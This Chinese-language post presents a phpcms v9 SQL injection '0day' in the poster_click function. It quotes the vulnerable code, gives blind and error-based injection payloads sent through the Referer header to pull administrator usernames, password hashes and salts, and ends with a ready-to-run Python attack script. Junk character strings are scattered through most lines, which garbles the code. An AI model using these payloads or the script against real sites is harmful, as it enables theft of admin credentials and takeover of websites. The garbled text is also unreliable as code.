phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
$ v4 N' B9 J: X* g
0 h- x1 G* [+ r7 A+ {3 J) t7 H问题函数\phpcms\modules\poster\index.php
: x: F+ a: S: a( {9 Q4 K9 Q9 K+ K
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
7 e! J+ m2 l+ j$r = $this->db->get_one(array('id'=>$id));
5 g6 v: [7 b. R( j6 r; `% X! lif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
7 w4 x4 B) L% y* O$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
3 A3 ?! d" l/ Gif($id) {
' o  Q0 x! L& g9 l2 r1 C$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
/ i9 Y! G# U$ Z$ S$ u1 \$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
% G: l, l5 y! X1 K4 [% r$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
" f8 r" M5 D3 d1 \9 U$setting = string2array($r['setting']);
8 X6 C! m0 m, ?* j4 N/ |: hif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
5 M$ K( l' z7 q+ t}
header('Location: '.$url);
9 X( X, f! f! E9 ?/ G}



6 E( I2 w, ]8 s9 e$ E; c5 j6 R利用方式：

1、可以采用盲注入的手法：

; Q* r. i; [( G# e4 breferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
7 c1 k+ P/ Y  M1 r9 n) V
- C- ]8 O3 V% S; I' }/ B: u通过返回页面，正常与否一个个猜解密码字段。
( G% }6 w4 ]; l. \5 |8 q/ q
7 x' U9 N0 J, J4 z" P2、代码是花开写的，随手附上了：
9 S: g+ p# Z, k, z" T+ N
& {. d$ c2 O. l0 j; c% i5 ~1 n1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
  E9 [7 q, M( M6 M3 F/ A; E# F  `
此方法是爆错注入手法，原理自查。
( G0 G  ~( V# R# `

- ?$ y* N* s! L* M% z3 l
利用程序:

- S4 N% \( a6 z. Q) g* i* ^#!/usr/bin/env python
1 w4 \, L* F/ G* u# oimport httplib,sys,re

- m! q2 |  l& |0 k" k2 Ldef attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
) C2 ]: |8 U$ m+ k7 X' _+ ]% Kurl=sys.argv[1]
* G: S- R) ?* N$ ?, p- h! Tpaths=sys.argv[2]
conn = httplib.HTTPConnection(url)
; r0 {  n+ V3 li_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
9 h5 D! W2 g; B4 t; k: r$ X“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
5 o: r  F& ^6 `9 sconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
$ c8 w- b1 I' ?$ {: t5 K: Kr1 = conn.getresponse()
datas=r1.read()
- W$ U" O% k; x  G, r0 d( Idatas=re.findall(r”Duplicate entry \’\w+’”, datas)
6 J) U* t6 r5 C; {% I+ L5 ~print datas[0]
conn.close()
if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
8 e+ M% D- [/ x. n* xprint “Usgae:”
9 Y, M+ X8 F# g( N1 j. Qprint “    phpcmsattack.py   www.paxmac.org /”
) h. @( q8 U+ ]- p" oprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
+ {0 {" c3 i8 z- D# D4 S$ d9 Dattack()

! b) }1 M2 t, R: v8 Y* n0 l) s. z- s3 u